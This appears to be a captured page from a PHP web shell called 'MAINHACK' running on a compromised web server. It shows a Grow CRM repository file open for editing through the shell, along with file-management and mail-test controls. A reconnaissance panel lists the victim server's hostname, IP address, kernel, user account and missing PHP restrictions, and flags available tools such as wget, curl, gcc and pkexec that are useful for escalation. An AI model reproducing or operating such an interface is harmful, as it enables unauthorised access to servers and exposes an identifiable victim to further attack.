[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ImportExportRepository.php
<?php /** -------------------------------------------------------------------------------- * Handles importing csv, xls, xlxs files * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Repositories; use Illuminate\Http\Request; use Log; class ImportExportRepository { /** * Inject dependecies */ public function __construct() { } /** * Initial validation. Check file exists etc * @return bool */ public function validateImport() { //validation of the form if (!request()->filled('importing-file-name') || !request()->filled('importing-file-uniqueid')) { Log::error("import file data is missing", ['process' => '[import-leads-repository]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__, 'project_id' => 1]); return false; } //validation: file exists $file_path = BASE_DIR . "/storage/temp/" . request('importing-file-uniqueid') . "/" . request('importing-file-name'); if (!file_exists($file_path)) { Log::error("the imported file could not be found", ['process' => '[import-leads-repository]', 'ref' => config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__, 'path' => $file_path]); return false; } return true; } /** ------------------------------------------------------------------------- * Log importing errors (if any) * -------------------------------------------------------------------------*/ public function logImportError($failures = [], $error_ref = '') { //create error log $message = ''; foreach ($failures as $failure) { $errors = $failure->errors(); // full table message $message .= '<tr> <td>' . $failure->row() . '</td> <td>' . $failure->attribute() . '</td> <td>' . $errors[0] . '</td> </tr>'; } //save log to db if (count($failures) > 0) { $log = new \App\Models\Log(); $log->log_text = 'error_log'; $log->log_text_type = 'lang'; $log->log_uniqueid = $error_ref; $log->log_payload = $message; $log->logresource_type = 'import'; $log->logresource_id = 0; $log->save(); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002